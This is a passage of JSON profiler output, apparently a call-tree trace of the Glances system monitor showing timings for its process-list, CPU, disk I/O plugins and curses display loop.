[{\"identifier\": \"_asdict\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/collections/__init__.py\\u0000476\",\"time\": 0.001809,\"attributes\": {\"cpcputimes\": 0.0018087380012730137, \"l478\": 0.0018087380012730137},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001809,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/programlist/__init__.py\\u0000148\",\"time\": 0.001790,\"attributes\": {\"cProgramlistPlugin\": 0.0017899160011438653, \"l155\": 0.0017899160011438653},\"children\": [{\"identifier\": \"get_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000704\",\"time\": 0.001790,\"attributes\": {\"cGlancesProcesses\": 0.0017899160011438653, \"l711\": 0.0017899160011438653},\"children\": [{\"identifier\": \"processes_to_programs\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000062\",\"time\": 0.001790,\"attributes\": {\"l69\": 0.0017899160011438653},\"children\": [{\"identifier\": \"create_program_dict\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000017\",\"time\": 0.001790,\"attributes\": {\"l34\": 0.0017899160011438653},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.001790,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001790,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.007998,\"attributes\": {\"cProgramlistPlugin\": 0.007997627995791845, \"l678\": 0.007997627995791845},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.007998,\"attributes\": {\"cProgramlistPlugin\": 0.007997627995791845, \"l633\": 0.004000224995252211, \"l634\": 0.0019980130018666387, \"l656\": 0.0019993899986729957},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.00200029400002677, \"l621\": 0.00200029400002677},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0019999309952254407, \"l621\": 0.0019999309952254407},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.002002,\"attributes\": {\"cPercpuPlugin\": 0.0020016730049974285, \"l1278\": 0.0020016730049974285},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.002002,\"attributes\": {\"l1295\": 0.0020016730049974285},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/percpu/__init__.py\\u0000127\",\"time\": 0.002002,\"attributes\": {\"cPercpuPlugin\": 0.0020016730049974285, \"l133\": 0.0020016730049974285},\"children\": [{\"identifier\": \"get_percpu\\u0000/home/nicolargo/dev/glances/glances/cpu_percent.py\\u0000308\",\"time\": 0.002002,\"attributes\": {\"cCpuPercent\": 0.0020016730049974285, \"l315\": 0.0020016730049974285},\"children\": [{\"identifier\": \"_compute_percpu\\u0000/home/nicolargo/dev/glances/glances/cpu_percent.py\\u0000318\",\"time\": 0.002002,\"attributes\": {\"cCpuPercent\": 0.0020016730049974285, \"l319\": 0.0020016730049974285},\"children\": [{\"identifier\": \"cpu_times_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001871\",\"time\": 0.002002,\"attributes\": {\"l1926\": 0.0020016730049974285},\"children\": [{\"identifier\": \"calculate\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001890\",\"time\": 0.002002,\"attributes\": {\"l1892\": 0.0020016730049974285},\"children\": [{\"identifier\": \"_cpu_times_deltas\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001768\",\"time\": 0.002002,\"attributes\": {\"l1786\": 0.0020016730049974285},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000242\",\"time\": 0.002090,\"attributes\": {\"cProcesslistPlugin\": 0.0020897930007777177, \"l260\": 0.0020897930007777177},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002090,\"attributes\": {},\"children\": []}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.010325,\"attributes\": {\"cProcesslistPlugin\": 0.010325078997993842, \"l678\": 0.007921730000816751, \"l686\": 0.0024033489971770905},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.007922,\"attributes\": {\"cProcesslistPlugin\": 0.007921730000816751, \"l633\": 0.007921730000816751},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.007922,\"attributes\": {\"cProcesslistPlugin\": 0.007921730000816751, \"l621\": 0.001909045000502374, \"l619\": 0.0019999879950773902, \"l614\": 0.0019993590030935593, \"l623\": 0.0020133380021434277},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001909,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002013,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002403,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001138\",\"time\": 2.057531,\"attributes\": {\"cGlancesCursesStandalone\": 2.057530840000254, \"l1154\": 0.04758493100234773, \"l1169\": 1.005644939992635, \"l1172\": 1.0043009690052713},\"children\": [{\"identifier\": \"flush\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001124\",\"time\": 0.047585,\"attributes\": {\"cGlancesCursesStandalone\": 0.04758493100234773, \"l1135\": 0.04758493100234773},\"children\": [{\"identifier\": \"display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000549\",\"time\": 0.047585,\"attributes\": {\"cGlancesCursesStandalone\": 0.04758493100234773, \"l569\": 0.04558378300134791, \"l603\": 0.0020011480009998195},\"children\": [{\"identifier\": \"__get_stat_display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000514\",\"time\": 0.045584,\"attributes\": {\"cGlancesCursesStandalone\": 0.04558378300134791, \"l545\": 0.04558378300134791},\"children\": [{\"identifier\": \"get_stats_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001082\",\"time\": 0.045584,\"attributes\": {\"cDiskioPlugin\": 0.0015865710010984913, \"l1099\": 0.0015865710010984913, \"cProgramlistPlugin\": 0.017996914000832476, \"l1101\": 0.04399721200024942, \"cProcesslistPlugin\": 0.026000297999416944},\"children\": [{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000210\",\"time\": 0.001587,\"attributes\": {\"cDiskioPlugin\": 0.0015865710010984913, \"l294\": 0.0015865710010984913},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.001587,\"attributes\": {\"cDiskioPlugin\": 0.0015865710010984913, \"l1251\": 0.0015865710010984913},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000424\",\"time\": 0.001587,\"attributes\": {\"l478\": 0.0015865710010984913},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001587,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000556\",\"time\": 0.043997,\"attributes\": {\"cProgramlistPlugin\": 0.017996914000832476, \"l587\": 0.04399721200024942, \"cProcesslistPlugin\": 0.026000297999416944},\"children\": [{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.043997,\"attributes\": {\"cProgramlistPlugin\": 0.017996914000832476, \"l538\": 0.03799760100082494, \"l539\": 0.0039991860030568205, \"cProcesslistPlugin\": 0.026000297999416944, \"l544\": 0.0020004249963676557},\"children\": [{\"identifier\": \"_get_process_curses_nice\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000422\",\"time\": 0.003998,\"attributes\": {\"cProgramlistPlugin\": 0.003997788997367024, \"l429\": 0.001998164996621199, \"l428\": 0.0019996240007458255},\"children\": [{\"identifier\": \"get_nice_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000273\",\"time\": 0.001998,\"attributes\": {\"cProgramlistPlugin\": 0.001998164996621199, \"l276\": 0.001998164996621199},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.001998,\"attributes\": {\"cProgramlistPlugin\": 0.001998164996621199, \"l969\": 0.001998164996621199},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002002,\"attributes\": {\"cProgramlistPlugin\": 0.0020023690012749285, \"l309\": 0.0020023690012749285},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002002,\"attributes\": {\"cProgramlistPlugin\": 0.0020023690012749285, \"l848\": 0.0020023690012749285},\"children\": [{\"identifier\": \"str.lower\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.001998,\"attributes\": {\"cProgramlistPlugin\": 0.0019975530012743548, \"l325\": 0.0019975530012743548},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001998,\"attributes\": {\"cProgramlistPlugin\": 0.0019975530012743548, \"l855\": 0.0019975530012743548},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.001998,\"attributes\": {\"cProgramlistPlugin\": 0.0019975530012743548, \"l963\": 0.0019975530012743548},\"children\": [{\"identifier\": \"str.lower\\u0000<built-in>\\u00000\",\"time\": 0.001998,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0020003519966849126, \"l309\": 0.0020003519966849126},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0020003519966849126, \"l855\": 0.0020003519966849126},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0020003519966849126, \"l963\": 0.0020003519966849126},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0019995539987576194, \"l309\": 0.0019995539987576194},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0019995539987576194, \"l857\": 0.0019995539987576194},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0019995539987576194, \"l969\": 0.0019995539987576194},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0019999700016342103, \"l500\": 0.0019999700016342103},\"children\": [{\"identifier\": \"isdir\\u0000<frozen genericpath>\\u000048\",\"time\": 0.002000,\"attributes\": {\"l53\": 0.0019999700016342103},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_nice\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000422\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.0020014469992020167, \"l429\": 0.0020014469992020167},\"children\": [{\"identifier\": \"get_nice_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000273\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.0020014469992020167, \"l280\": 0.0020014469992020167},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_io_counters\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000469\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019997759955003858, \"l472\": 0.0019997759955003858},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019994620015495457, \"l440\": 0.0019994620015495457},\"children\": [{\"identifier\": \"get_status_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000287\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019994620015495457, \"l296\": 0.0019994620015495457},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019994620015495457, \"l967\": 0.0019994620015495457},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020001060038339347, \"l303\": 0.0020001060038339347},\"children\": [{\"identifier\": \"key_exist_value_not_none_not_v\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000236\",\"time\": 0.002000,\"attributes\": {\"l242\": 0.0020001060038339347},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_nice\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000422\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019995710026705638, \"l429\": 0.0019995710026705638},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.0020005300029879436, \"l325\": 0.0020005300029879436},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.0020005300029879436, \"l855\": 0.0020005300029879436},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.0020005300029879436, \"l965\": 0.0020005300029879436},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.0020007269995403476, \"l361\": 0.0020007269995403476},\"children\": [{\"identifier\": \"_get_process_curses_rss\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000347\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.0020007269995403476, \"l351\": 0.0020007269995403476},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.002003,\"attributes\": {\"cProcesslistPlugin\": 0.0020025699996040203, \"l325\": 0.0020025699996040203},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002003,\"attributes\": {\"cProcesslistPlugin\": 0.0020025699996040203, \"l848\": 0.0020025699996040203},\"children\": [{\"identifier\": \"str.lower\\u0000<built-in>\\u00000\",\"time\": 0.002003,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_io_counters\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000469\",\"time\": 0.001997,\"attributes\": {\"cProcesslistPlugin\": 0.001996999002585653, \"l472\": 0.001996999002585653},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"__display_right\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000826\",\"time\": 0.002001,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020011480009998195, \"l845\": 0.0020011480009998195},\"children\": [{\"identifier\": \"display_plugin\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001062\",\"time\": 0.002001,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020011480009998195, \"l1094\": 0.0020011480009998195},\"children\": [{\"identifier\": \"display_stats\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001027\",\"time\": 0.002001,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020011480009998195, \"l1041\": 0.0020011480009998195},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.101452,\"attributes\": {\"cGlancesCursesStandalone\": 0.10145185399596812, \"l291\": 0.10145185399596812},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.101452,\"attributes\": {\"cGlancesCursesStandalone\": 0.10145185399596812, \"l260\": 0.10145185399596812},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.101452,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.101452,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100480,\"attributes\": {\"cGlancesCursesStandalone\": 0.1004798740032129, \"l1202\": 0.1004798740032129},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100480,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100480,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100583,\"attributes\": {\"cGlancesCursesStandalone\": 0.10058271199523006, \"l291\": 0.10058271199523006},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100583,\"attributes\": {\"cGlancesCursesStandalone\": 0.10058271199523006, \"l260\": 0.10058271199523006},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100583,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100583,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100530,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005300899996655, \"l1202\": 0.1005300899996655},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100530,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100530,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100521,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052103800262557, \"l291\": 0.10052103800262557},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100521,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052103800262557, \"l260\": 0.10052103800262557},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100521,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100521,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100495,\"attributes\": {\"cGlancesCursesStandalone\": 0.1004947670007823, \"l1202\": 0.1004947670007823},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100495,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100495,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100533,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053273099765647, \"l291\": 0.10053273099765647},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100533,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053273099765647, \"l260\": 0.10053273099765647},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100533,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100533,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100385,\"attributes\": {\"cGlancesCursesStandalone\": 0.10038532700127689, \"l1202\": 0.10038532700127689},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100385,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100385,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100334,\"attributes\": {\"cGlancesCursesStandalone\": 0.10033397599909222, \"l291\": 0.10033397599909222},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100334,\"attributes\": {\"cGlancesCursesStandalone\": 0.10033397599909222, \"l260\": 0.10033397599909222},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100334,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100334,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100254,\"attributes\": {\"cGlancesCursesStandalone\": 0.10025371699885, \"l1202\": 0.10025371699885},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100254,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100254,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100379,\"attributes\": {\"cGlancesCursesStandalone\": 0.10037932500563329, \"l291\": 0.10037932500563329},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100379,\"attributes\": {\"cGlancesCursesStandalone\": 0.10037932500563329, \"l260\": 0.10037932500563329},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100379,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100379,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100493,\"attributes\": {\"cGlancesCursesStandalone\": 0.10049286099820165, \"l1202\": 0.10049286099820165},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100493,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100493,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100486,\"attributes\": {\"cGlancesCursesStandalone\": 0.10048565699980827, \"l291\": 0.10048565699980827},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100486,\"attributes\": {\"cGlancesCursesStandalone\": 0.10048565699980827, \"l260\": 0.10048565699980827},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100486,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100486,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100311,\"attributes\": {\"cGlancesCursesStandalone\": 0.10031145100219874, \"l1202\": 0.10031145100219874},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100311,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100311,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100535,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053483899537241, \"l291\": 0.10053483899537241},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100535,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053483899537241, \"l260\": 0.10053483899537241},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100535,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 